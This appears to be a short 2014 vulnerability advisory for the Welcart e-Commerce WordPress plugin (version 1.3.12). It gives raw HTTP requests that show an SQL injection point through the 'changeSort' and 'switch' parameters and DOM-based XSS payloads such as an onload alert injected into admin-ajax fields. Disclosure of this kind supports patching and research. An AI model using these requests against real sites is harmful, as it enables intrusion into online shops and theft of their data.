# ==============================================================
# Title ...| SQL Injection in Welcart e-Commerce
# Version .| usc-e-shop.1.3.12
# Date ....| 3.03.2014
# Found ...| HauntIT Blog
# Home ....| http://wordpress.org/plugins/
# ==============================================================
# ==============================================================
# 1. SQL Injection
---<request>---
GET /k/wordpress/wordpress/wp-admin/admin.php?page=usces_itemedit&changeSort=hereisthebug&switch=ASC HTTP/1.1
Host: 10.149.14.62(...)
Connection: close
---<request>---
'switch' parameter is also vulnerable.
# ==============================================================
# 2. DOM-based XSS
---<response>---
'purchase_limit': "'>"><body/onload=alert(9999)>",
---<response>---
# ==============================================================
# 3. DOM-based XSS
---<request>---
POST /k/wordpress/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 10.149.14.62
(...)
Cache-Control: no-cache
action=shop_options_ajax&mode=add_delivery_method&name='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&time=&charge=-1&days=-1&nocod=0&intl=0
---<request>---
'intl', 'nocod', 'time' parameter are also vulnerable.
Also check the 'business_days'-parameters because it seems that there are all vulnerable to XSS.
(I see no point to mention here 100 parameters, like business_day-1, etc... ;) )
# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/